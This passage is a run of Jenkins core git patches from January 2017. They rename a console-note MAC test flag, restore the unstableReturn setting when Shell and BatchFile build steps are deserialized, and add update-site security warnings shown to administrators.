ConsoleNote implements Serializable, Describable")); + } finally { + ConsoleNote.LENIENT_MAC = false; + } } @Issue("SECURITY-382") -- GitLab From cc6539285cfe803bcda4645a3b4efdb3c5712247 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 10 Jan 2017 17:12:26 -0500 Subject: [PATCH 689/811] @daniel-beck suggests a scarier name. --- core/src/main/java/hudson/console/ConsoleNote.java | 2 +- core/src/test/java/hudson/console/AnnotatedLargeTextTest.java | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index dc90310b4c..eeac73fd8f 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -128,7 +128,7 @@ public abstract class ConsoleNote implements Serializable, Describable")); } finally { - ConsoleNote.LENIENT_MAC = false; + ConsoleNote.INSECURE = false; } } -- GitLab From b93e2e1751f81970e898e37a2fed7b78f2bafa71 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 10 Jan 2017 17:15:44 -0500 Subject: [PATCH 690/811] Oops, forgot to rename a usage. --- core/src/main/java/hudson/console/ConsoleNote.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index eeac73fd8f..f44b7b6db6 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -246,7 +246,7 @@ public abstract class ConsoleNote implements Serializable, Describable Date: Wed, 11 Jan 2017 00:51:26 +0100 Subject: [PATCH 691/811] [FIX JENKINS-40894] Restore unstableReturn in readResolve --- core/src/main/java/hudson/tasks/BatchFile.java | 4 +++- core/src/main/java/hudson/tasks/Shell.java | 4 +++- .../test/java/hudson/tasks/BatchFileTest.java | 11 +++++++++++ test/src/test/java/hudson/tasks/ShellTest.java | 10 ++++++++++ .../canLoadUnstableReturnFromDisk.zip | Bin 0 -> 1056 bytes .../ShellTest/canLoadUnstableReturnFromDisk.zip | Bin 0 -> 1059 bytes 6 files changed, 27 insertions(+), 2 deletions(-) create mode 100644 test/src/test/resources/hudson/tasks/BatchFileTest/canLoadUnstableReturnFromDisk.zip create mode 100644 test/src/test/resources/hudson/tasks/ShellTest/canLoadUnstableReturnFromDisk.zip diff --git a/core/src/main/java/hudson/tasks/BatchFile.java b/core/src/main/java/hudson/tasks/BatchFile.java index 675c316eeb..b6bf2bb74c 100644 --- a/core/src/main/java/hudson/tasks/BatchFile.java +++ b/core/src/main/java/hudson/tasks/BatchFile.java @@ -81,7 +81,9 @@ public class BatchFile extends CommandInterpreter { } private Object readResolve() throws ObjectStreamException { - return new BatchFile(command); + BatchFile batch = new BatchFile(command); + batch.setUnstableReturn(unstableReturn); + return batch; } @Extension @Symbol("batchFile") diff --git a/core/src/main/java/hudson/tasks/Shell.java b/core/src/main/java/hudson/tasks/Shell.java index 1986e2dea7..4360f4ce94 100644 --- a/core/src/main/java/hudson/tasks/Shell.java +++ b/core/src/main/java/hudson/tasks/Shell.java @@ -125,7 +125,9 @@ public class Shell extends CommandInterpreter { } private Object readResolve() throws ObjectStreamException { - return new Shell(command); + Shell shell = new Shell(command); + shell.setUnstableReturn(unstableReturn); + return shell; } @Extension @Symbol("shell") diff --git a/test/src/test/java/hudson/tasks/BatchFileTest.java b/test/src/test/java/hudson/tasks/BatchFileTest.java index 93673d6c95..2251bb5089 100644 --- a/test/src/test/java/hudson/tasks/BatchFileTest.java +++ b/test/src/test/java/hudson/tasks/BatchFileTest.java @@ -1,5 +1,6 @@ package hudson.tasks; +import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNull; import static org.junit.Assume.assumeTrue; @@ -16,6 +17,7 @@ import hudson.Launcher.ProcStarter; import hudson.Proc; import hudson.model.Result; import hudson.model.FreeStyleProject; +import org.jvnet.hudson.test.recipes.LocalData; /** @@ -148,4 +150,13 @@ public class BatchFileTest { /* Creating unstable=0 produces unstable=null */ assertNull( createNewBatchTask("",0).getUnstableReturn() ); } + + @Issue("JENKINS-40894") + @Test + @LocalData + public void canLoadUnstableReturnFromDisk() throws Exception { + FreeStyleProject p = (FreeStyleProject) rule.jenkins.getItemByFullName("batch"); + BatchFile batchFile = (BatchFile) p.getBuildersList().get(0); + assertEquals("unstable return", Integer.valueOf(1), batchFile.getUnstableReturn()); + } } diff --git a/test/src/test/java/hudson/tasks/ShellTest.java b/test/src/test/java/hudson/tasks/ShellTest.java index f83675e824..eef0565b89 100644 --- a/test/src/test/java/hudson/tasks/ShellTest.java +++ b/test/src/test/java/hudson/tasks/ShellTest.java @@ -27,6 +27,7 @@ import org.junit.Assume; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.LocalData; /** * Tests for the Shell tasks class @@ -190,4 +191,13 @@ public class ShellTest { assertNull( createNewShell("",0).getUnstableReturn() ); } + @Issue("JENKINS-40894") + @Test + @LocalData + public void canLoadUnstableReturnFromDisk() throws Exception { + FreeStyleProject p = (FreeStyleProject) rule.jenkins.getItemByFullName("test"); + Shell shell = (Shell) p.getBuildersList().get(0); + assertEquals("unstable return", Integer.valueOf(1), shell.getUnstableReturn()); + } + } diff --git a/test/src/test/resources/hudson/tasks/BatchFileTest/canLoadUnstableReturnFromDisk.zip b/test/src/test/resources/hudson/tasks/BatchFileTest/canLoadUnstableReturnFromDisk.zip new file mode 100644 index 0000000000000000000000000000000000000000..7733c0a66c1a409498e334b844db0de596e700db GIT binary patch literal 1056 zcmWIWW@h1H0Dx6`75Y!FstkYPwp%=5`lObN{^E=f$vNexOZDJ{x#E6UGx z$t=#+tI8}04dG;9<|`DOdK#c}ca6l!aLFP>ax*BdS zkiiOcbyj{-u|C*kjQCsz($e4O3`d6R=77idUFVt}zS(C1A| z3=E>Eh9u|brDdk;RpjP?-Lw~I+*Ke(3$5ND>-<9o0{4E33VJV7OMRWt<02SseL*QL zIli+yIofXb)92sc2(&na?*3VQr<{MLuHW93`xF+GmBpQ(b$l0-_S{R~4AyUd|GIs7 z)j{<$?B6+!K6!>3vT8Jco2X@xy*@CkpP`ObZp|VY-V^pMjtOsN=bsgMt?1H}dr;%I zmsF$0{4&pln|Te-W*a?w`!m(5V#x++^(r~%MK=Ve9yICN%V@f7&jX!zy_1ipUUGYD zwL$xPt|6O1?ZS-P8(;X}uf1{Yzxu0lQ=5}6v@^&4-!p5oQ7eO)*yS0;-qSfhb#oaj zRO|~AsW_6Rx#-QcTL%=TJ=iB6R%r1u;%w2Q26x+wlYWLscW6fV^+~6_xb*K{+qS*4 zI(}|3m)djKwv6lSkh<(q`+>2 f7>Jw*fkuN8A%@YcY(Sk1EI=3s)Vv0mk{K8PZAv9I literal 0 HcmV?d00001 diff --git a/test/src/test/resources/hudson/tasks/ShellTest/canLoadUnstableReturnFromDisk.zip b/test/src/test/resources/hudson/tasks/ShellTest/canLoadUnstableReturnFromDisk.zip new file mode 100644 index 0000000000000000000000000000000000000000..d1d23b58680879ab8a21cd8ff9166e8473fd7143 GIT binary patch literal 1059 zcmWIWW@h1H0D%BDZLe!PPwa^XvO!ppL53kYG0!JIF(ovwxFj(tCp9Rwq_il{ttda& zC9^nNuPU=3G=!6Z*`v5L!XmpgqO^jWfsy4aBLf4A2*^ON(Hu~tffO82$!L&ye;KvC z;N}7utUy<1TSX~CvCd`1UoeQSDB(=B%V#c&|oMwQ0$pJRwbhh1U zEuhDDGBGfSpqP=IpO==Iu2+$p19lO}G&4*W^#=I{A65|9`#n6R>g35I_iO^J7R%;W zWxW03lbCD3A|bZLK3>SlzI00Pz1zpDcT1mmbYbNqVHvN*&!4W@rO$og4#&#xpNl?! ztN9+F_o5{t-L9e9O7oFo&u@+6RV_>ttTU_oCjF9GTE(3(J;AX%LznTTbuh=0eGezw zq(v6k30X2!h8G+acz#)p!(>;N&sV7_QTBU%Hg_5CHCnUyUTem@i#HazYztN>`Xade zlb_^0JGPZawlVHCiI>{Te2q6G#&zGf)qY_L|$3>~P&sS3_ore%jvRL(^9Yu)i1I!6ZLtSz!6m zIYO`RD?Mh@`=xC5X3CLgIky})l%BceGReyRNPd7fBa<96t|Th~ic~OI(g>o6NWiR+ z1dNeH5Y}L(F_<+13~wE`0j+_iIG|CW6o Date: Sun, 8 Jan 2017 22:27:08 +0100 Subject: [PATCH 692/811] [JENKINS-40494] Process warnings from update sites (#2680) * [FIX JENKINS-40494] Process warnings from update sites * [JENKINS-40494] Address review comments * [JENKINS-40494] Add warnings to available/update plugin manager tabs * [JENKINS-40494] Add tests * [JENKINS-40494] Address review feedback --- .../main/java/hudson/model/UpdateSite.java | 307 ++++++++++++++++++ .../UpdateSiteWarningsConfiguration.java | 124 +++++++ .../security/UpdateSiteWarningsMonitor.java | 177 ++++++++++ .../hudson/PluginManager/table.jelly | 9 + .../hudson/PluginManager/table.properties | 2 + .../jenkins/security/Messages.properties | 3 +- .../config.groovy | 70 ++++ .../config.properties | 27 ++ .../UpdateSiteWarningsConfiguration/help.html | 14 + .../UpdateSiteWarningsConfiguration/style.css | 4 + .../UpdateSiteWarningsMonitor/message.groovy | 77 +++++ .../message.properties | 31 ++ .../java/hudson/model/UpdateSiteTest.java | 25 +- .../warnings-update-center-malformed.json | 264 +++++++++++++++ war/src/main/webapp/css/style.css | 7 + 15 files changed, 1139 insertions(+), 2 deletions(-) create mode 100644 core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java create mode 100644 core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties create mode 100644 test/src/test/resources/plugins/warnings-update-center-malformed.json diff --git a/core/src/main/java/hudson/model/UpdateSite.java b/core/src/main/java/hudson/model/UpdateSite.java index 01bf9c6ddb..3a234941a4 100644 --- a/core/src/main/java/hudson/model/UpdateSite.java +++ b/core/src/main/java/hudson/model/UpdateSite.java @@ -26,6 +26,7 @@ package hudson.model; import hudson.ClassicPluginStrategy; +import hudson.ExtensionList; import hudson.PluginManager; import hudson.PluginWrapper; import hudson.Util; @@ -46,7 +47,9 @@ import java.security.GeneralSecurityException; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; +import java.util.HashSet; import java.util.List; +import java.util.Locale; import java.util.Map; import java.util.Set; import java.util.TreeMap; @@ -55,17 +58,24 @@ import java.util.concurrent.Callable; import java.util.concurrent.Future; import java.util.logging.Level; import java.util.logging.Logger; +import java.util.regex.Pattern; +import java.util.regex.PatternSyntaxException; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; +import javax.annotation.Nullable; + import jenkins.model.Jenkins; import jenkins.model.DownloadSettings; +import jenkins.security.UpdateSiteWarningsConfiguration; import jenkins.util.JSONSignatureValidator; import jenkins.util.SystemProperties; +import net.sf.json.JSONArray; import net.sf.json.JSONException; import net.sf.json.JSONObject; import org.apache.commons.io.IOUtils; import org.apache.commons.lang.StringUtils; import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.DataBoundConstructor; import org.kohsuke.stapler.HttpResponse; @@ -513,6 +523,12 @@ public class UpdateSite { * Plugins in the repository, keyed by their artifact IDs. */ public final Map plugins = new TreeMap(String.CASE_INSENSITIVE_ORDER); + /** + * List of warnings (mostly security) published with the update site. + * + * @since TODO + */ + private final Set warnings = new HashSet(); /** * If this is non-null, Jenkins is going to check the connectivity to this URL to make sure @@ -528,6 +544,18 @@ public class UpdateSite { } else { core = null; } + + JSONArray w = o.optJSONArray("warnings"); + if (w != null) { + for (int i = 0; i < w.size(); i++) { + try { + warnings.add(new Warning(w.getJSONObject(i))); + } catch (JSONException ex) { + LOGGER.log(Level.WARNING, "Failed to parse JSON for warning", ex); + } + } + } + for(Map.Entry e : (Set>)o.getJSONObject("plugins").entrySet()) { Plugin p = new Plugin(sourceId, e.getValue()); // JENKINS-33308 - include implied dependencies for older plugins that may need them @@ -545,6 +573,16 @@ public class UpdateSite { connectionCheckUrl = (String)o.get("connectionCheckUrl"); } + /** + * Returns the set of warnings + * @return the set of warnings + * @since TODO + */ + @Restricted(NoExternalUse.class) + public Set getWarnings() { + return this.warnings; + } + /** * Is there a new version of the core? */ @@ -646,6 +684,232 @@ public class UpdateSite { } + /** + * A version range for {@code Warning}s indicates which versions of a given plugin are affected + * by it. + * + * {@link #name}, {@link #firstVersion} and {@link #lastVersion} fields are only used for administrator notices. + * + * The {@link #pattern} is used to determine whether a given warning applies to the current installation. + * + * @since TODO + */ + @Restricted(NoExternalUse.class) + public static final class WarningVersionRange { + /** + * Human-readable English name for this version range, e.g. 'regular', 'LTS', '2.6 line'. + */ + @Nullable + public final String name; + + /** + * First version in this version range to be subject to the warning. + */ + @Nullable + public final String firstVersion; + + /** + * Last version in this version range to be subject to the warning. + */ + @Nullable + public final String lastVersion; + + /** + * Regular expression pattern for this version range that matches all included version numbers. + */ + @Nonnull + private final Pattern pattern; + + public WarningVersionRange(JSONObject o) { + this.name = Util.fixEmpty(o.optString("name")); + this.firstVersion = Util.fixEmpty(o.optString("firstVersion")); + this.lastVersion = Util.fixEmpty(o.optString("lastVersion")); + Pattern p; + try { + p = Pattern.compile(o.getString("pattern")); + } catch (PatternSyntaxException ex) { + LOGGER.log(Level.WARNING, "Failed to compile pattern '" + o.getString("pattern") + "', using '.*' instead", ex); + p = Pattern.compile(".*"); + } + this.pattern = p; + } + + public boolean includes(VersionNumber number) { + return pattern.matcher(number.toString()).matches(); + } + } + + /** + * Represents a warning about a certain component, mostly related to known security issues. + * + * @see UpdateSiteWarningsConfiguration + * @see jenkins.security.UpdateSiteWarningsMonitor + * + * @since TODO + */ + @Restricted(NoExternalUse.class) + public static final class Warning { + + public enum Type { + CORE, + PLUGIN, + UNKNOWN + } + + /** + * The type classifier for this warning. + */ + @Nonnull + public /* final */ Type type; + + /** + * The globally unique ID of this warning. + * + *

                                                        This is typically the CVE identifier or SECURITY issue (Jenkins project); + * possibly with a unique suffix (e.g. artifactId) if either applies to multiple components.

                                                        + */ + @Exported + @Nonnull + public final String id; + + /** + * The name of the affected component. + *
                                                          + *
                                                        • If type is 'core', this is 'core' by convention. + *
                                                        • If type is 'plugin', this is the artifactId of the affected plugin + *
                                                        + */ + @Exported + @Nonnull + public final String component; + + /** + * A short, English language explanation for this warning. + */ + @Exported + @Nonnull + public final String message; + + /** + * A URL with more information about this, typically a security advisory. For use in administrator notices + * only, so + */ + @Exported + @Nonnull + public final String url; + + /** + * A list of named version ranges specifying which versions of the named component this warning applies to. + * + * If this list is empty, all versions of the component are considered to be affected by this warning. + */ + @Exported + @Nonnull + public final List versionRanges; + + /** + * + * @param o the {@link JSONObject} representing the warning + * @throws JSONException if the argument does not match the expected format + */ + @Restricted(NoExternalUse.class) + public Warning(JSONObject o) { + try { + this.type = Type.valueOf(o.getString("type").toUpperCase(Locale.US)); + } catch (IllegalArgumentException ex) { + this.type = Type.UNKNOWN; + } + this.id = o.getString("id"); + this.component = o.getString("name"); + this.message = o.getString("message"); + this.url = o.getString("url"); + + if (o.has("versions")) { + List ranges = new ArrayList<>(); + JSONArray versions = o.getJSONArray("versions"); + for (int i = 0; i < versions.size(); i++) { + WarningVersionRange range = new WarningVersionRange(versions.getJSONObject(i)); + ranges.add(range); + } + this.versionRanges = Collections.unmodifiableList(ranges); + } else { + this.versionRanges = Collections.emptyList(); + } + } + + /** + * Two objects are considered equal if they are the same type and have the same ID. + * + * @param o the other object + * @return true iff this object and the argument are considered equal + */ + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof Warning)) return false; + + Warning warning = (Warning) o; + + return id.equals(warning.id); + } + + @Override + public int hashCode() { + return id.hashCode(); + } + + public boolean isPluginWarning(@Nonnull String pluginName) { + return type == Type.PLUGIN && pluginName.equals(this.component); + } + + /** + * Returns true if this warning is relevant to the current configuration + * @return true if this warning is relevant to the current configuration + */ + public boolean isRelevant() { + switch (this.type) { + case CORE: + VersionNumber current = Jenkins.getVersion(); + + if (!isRelevantToVersion(current)) { + return false; + } + return true; + case PLUGIN: + + // check whether plugin is installed + PluginWrapper plugin = Jenkins.getInstance().getPluginManager().getPlugin(this.component); + if (plugin == null) { + return false; + } + + // check whether warning is relevant to installed version + VersionNumber currentCore = plugin.getVersionNumber(); + if (!isRelevantToVersion(currentCore)) { + return false; + } + return true; + case UNKNOWN: + default: + return false; + } + } + + public boolean isRelevantToVersion(@Nonnull VersionNumber version) { + if (this.versionRanges.isEmpty()) { + // no version ranges specified, so all versions are affected + return true; + } + + for (UpdateSite.WarningVersionRange range : this.versionRanges) { + if (range.includes(version)) { + return true; + } + } + return false; + } + } + public final class Plugin extends Entry { /** * Optional URL to the Wiki page that discusses this plugin. @@ -863,6 +1127,49 @@ public class UpdateSite { return true; } + /** + * @since TODO + */ + @CheckForNull + @Restricted(NoExternalUse.class) + public Set getWarnings() { + ExtensionList list = ExtensionList.lookup(UpdateSiteWarningsConfiguration.class); + if (list.size() == 0) { + return Collections.emptySet(); + } + + Set warnings = new HashSet<>(); + + UpdateSiteWarningsConfiguration configuration = list.get(0); + + for (Warning warning: configuration.getAllWarnings()) { + if (configuration.isIgnored(warning)) { + // warning is currently being ignored + continue; + } + if (!warning.isPluginWarning(this.name)) { + // warning is not about this plugin + continue; + } + + if (!warning.isRelevantToVersion(new VersionNumber(this.version))) { + // warning is not relevant to this version + continue; + } + warnings.add(warning); + } + + return warnings; + } + + /** + * @since TODO + */ + @Restricted(DoNotUse.class) + public boolean hasWarnings() { + return getWarnings().size() > 0; + } + /** * @deprecated as of 1.326 * Use {@link #deploy()}. diff --git a/core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java b/core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java new file mode 100644 index 0000000000..08bce4881b --- /dev/null +++ b/core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java @@ -0,0 +1,124 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security; + +import hudson.Extension; +import hudson.PluginWrapper; +import hudson.model.UpdateSite; +import jenkins.model.GlobalConfiguration; +import jenkins.model.GlobalConfigurationCategory; +import jenkins.model.Jenkins; +import net.sf.json.JSONObject; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.StaplerRequest; + +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; +import java.util.Collections; +import java.util.HashSet; +import java.util.Set; + +/** + * Configuration for update site-provided warnings. + * + * @see UpdateSiteWarningsMonitor + * + * @since TODO + */ +@Extension +@Restricted(NoExternalUse.class) +public class UpdateSiteWarningsConfiguration extends GlobalConfiguration { + + private HashSet ignoredWarnings = new HashSet<>(); + + @Override + public GlobalConfigurationCategory getCategory() { + return GlobalConfigurationCategory.get(GlobalConfigurationCategory.Security.class); + } + + public UpdateSiteWarningsConfiguration() { + load(); + } + + @Nonnull + public Set getIgnoredWarnings() { + return Collections.unmodifiableSet(ignoredWarnings); + } + + public boolean isIgnored(@Nonnull UpdateSite.Warning warning) { + return ignoredWarnings.contains(warning.id); + } + + @CheckForNull + public PluginWrapper getPlugin(@Nonnull UpdateSite.Warning warning) { + if (warning.type != UpdateSite.Warning.Type.PLUGIN) { + return null; + } + return Jenkins.getInstance().getPluginManager().getPlugin(warning.component); + } + + @Nonnull + public Set getAllWarnings() { + HashSet allWarnings = new HashSet<>(); + + for (UpdateSite site : Jenkins.getInstance().getUpdateCenter().getSites()) { + UpdateSite.Data data = site.getData(); + if (data != null) { + allWarnings.addAll(data.getWarnings()); + } + } + return allWarnings; + } + + @Nonnull + public Set getApplicableWarnings() { + Set allWarnings = getAllWarnings(); + + HashSet applicableWarnings = new HashSet<>(); + for (UpdateSite.Warning warning: allWarnings) { + if (warning.isRelevant()) { + applicableWarnings.add(warning); + } + } + + return Collections.unmodifiableSet(applicableWarnings); + } + + + @Override + public boolean configure(StaplerRequest req, JSONObject json) throws FormException { + HashSet newIgnoredWarnings = new HashSet<>(); + for (Object key : json.keySet()) { + String warningKey = key.toString(); + if (!json.getBoolean(warningKey)) { + newIgnoredWarnings.add(warningKey); + } + } + this.ignoredWarnings = newIgnoredWarnings; + this.save(); + return true; + } +} diff --git a/core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java b/core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java new file mode 100644 index 0000000000..378717448d --- /dev/null +++ b/core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java @@ -0,0 +1,177 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security; + +import hudson.Extension; +import hudson.ExtensionList; +import hudson.PluginWrapper; +import hudson.model.AdministrativeMonitor; +import hudson.model.UpdateSite; +import hudson.util.HttpResponses; +import jenkins.model.Jenkins; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.HttpResponse; +import org.kohsuke.stapler.QueryParameter; +import org.kohsuke.stapler.interceptor.RequirePOST; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + + +/** + * Administrative monitor showing plugin/core warnings published by the configured update site to the user. + * + *

                                                        Terminology overview:

                                                        + * + *
                                                          + *
                                                        • Applicable warnings are those relevant to currently installed components + *
                                                        • Active warnings are those actually shown to users. + *
                                                        • Hidden warnings are those _not_ shown to users due to them being configured to be hidden. + *
                                                        • Inapplicable warnings are those that are not applicable. + *
                                                        + * + *

                                                        The following sets may be non-empty:

                                                        + * + *
                                                          + *
                                                        • Intersection of applicable and active + *
                                                        • Intersection of applicable and hidden + *
                                                        • Intersection of hidden and inapplicable (although not really relevant) + *
                                                        • Intersection of inapplicable and neither hidden nor active + *
                                                        + * + *

                                                        The following sets must necessarily be empty:

                                                        + * + *
                                                          + *
                                                        • Intersection of applicable and inapplicable + *
                                                        • Intersection of active and hidden + *
                                                        • Intersection of active and inapplicable + *
                                                        + * + * @since TODO + */ +@Extension +@Restricted(NoExternalUse.class) +public class UpdateSiteWarningsMonitor extends AdministrativeMonitor { + @Override + public boolean isActivated() { + return !getActiveCoreWarnings().isEmpty() || !getActivePluginWarningsByPlugin().isEmpty(); + } + + public List getActiveCoreWarnings() { + List CoreWarnings = new ArrayList<>(); + + for (UpdateSite.Warning warning : getActiveWarnings()) { + if (warning.type != UpdateSite.Warning.Type.CORE) { + // this is not a core warning + continue; + } + CoreWarnings.add(warning); + } + return CoreWarnings; + } + + public Map> getActivePluginWarningsByPlugin() { + Map> activePluginWarningsByPlugin = new HashMap<>(); + + for (UpdateSite.Warning warning : getActiveWarnings()) { + if (warning.type != UpdateSite.Warning.Type.PLUGIN) { + // this is not a plugin warning + continue; + } + + String pluginName = warning.component; + + PluginWrapper plugin = Jenkins.getInstance().getPluginManager().getPlugin(pluginName); + + if (!activePluginWarningsByPlugin.containsKey(plugin)) { + activePluginWarningsByPlugin.put(plugin, new ArrayList()); + } + activePluginWarningsByPlugin.get(plugin).add(warning); + } + return activePluginWarningsByPlugin; + + } + + private Set getActiveWarnings() { + ExtensionList configurations = ExtensionList.lookup(UpdateSiteWarningsConfiguration.class); + if (configurations.isEmpty()) { + return Collections.emptySet(); + } + UpdateSiteWarningsConfiguration configuration = configurations.get(0); + + HashSet activeWarnings = new HashSet<>(); + + for (UpdateSite.Warning warning : configuration.getApplicableWarnings()) { + if (!configuration.getIgnoredWarnings().contains(warning.id)) { + activeWarnings.add(warning); + } + } + + return Collections.unmodifiableSet(activeWarnings); + } + + /** + * Redirects the user to the plugin manager or security configuration + */ + @RequirePOST + public HttpResponse doForward(@QueryParameter String fix, @QueryParameter String configure) { + if (fix != null) { + return HttpResponses.redirectViaContextPath("pluginManager"); + } + if (configure != null) { + return HttpResponses.redirectViaContextPath("configureSecurity"); + } + + // shouldn't happen + return HttpResponses.redirectViaContextPath("/"); + } + + /** + * Returns true iff there are applicable but ignored (i.e. hidden) warnings. + * + * @return true iff there are applicable but ignored (i.e. hidden) warnings. + */ + public boolean hasApplicableHiddenWarnings() { + ExtensionList configurations = ExtensionList.lookup(UpdateSiteWarningsConfiguration.class); + if (configurations.isEmpty()) { + return false; + } + + UpdateSiteWarningsConfiguration configuration = configurations.get(0); + + return getActiveWarnings().size() < configuration.getApplicableWarnings().size(); + } + + @Override + public String getDisplayName() { + return Messages.UpdateSiteWarningsMonitor_DisplayName(); + } +} diff --git a/core/src/main/resources/hudson/PluginManager/table.jelly b/core/src/main/resources/hudson/PluginManager/table.jelly index e8c75170b4..ee41463e4e 100644 --- a/core/src/main/resources/hudson/PluginManager/table.jelly +++ b/core/src/main/resources/hudson/PluginManager/table.jelly @@ -110,6 +110,15 @@ THE SOFTWARE.
                                                        ${%depCoreWarning(p.getNeededDependenciesRequiredCore().toString())}
                                                        + +
                                                        ${%securityWarning} + +
                                                        +
                                                        diff --git a/core/src/main/resources/hudson/PluginManager/table.properties b/core/src/main/resources/hudson/PluginManager/table.properties index cc7af60893..4b5ae95d9b 100644 --- a/core/src/main/resources/hudson/PluginManager/table.properties +++ b/core/src/main/resources/hudson/PluginManager/table.properties @@ -35,3 +35,5 @@ depCoreWarning=\ built for Jenkins {0} or newer. The dependent plugins may \ or may not work in your Jenkins and consequently this \ plugin may or may not work in your Jenkins. +securityWarning=\ + Warning: This plugin version may not be safe to use. Please review the following security notices: diff --git a/core/src/main/resources/jenkins/security/Messages.properties b/core/src/main/resources/jenkins/security/Messages.properties index e09dca3e79..f0a98fb4a2 100644 --- a/core/src/main/resources/jenkins/security/Messages.properties +++ b/core/src/main/resources/jenkins/security/Messages.properties @@ -24,4 +24,5 @@ ApiTokenProperty.DisplayName=API Token ApiTokenProperty.ChangeToken.TokenIsHidden=Token is hidden ApiTokenProperty.ChangeToken.Success=
                                                        Updated. See the new token in the field above
                                                        ApiTokenProperty.ChangeToken.SuccessHidden=
                                                        Updated. You need to login as the user to see the token
                                                        -RekeySecretAdminMonitor.DisplayName=Re-keying \ No newline at end of file +RekeySecretAdminMonitor.DisplayName=Re-keying +UpdateSiteWarningsMonitor.DisplayName=Update Site Warnings diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy new file mode 100644 index 0000000000..ac82bf1891 --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy @@ -0,0 +1,70 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, 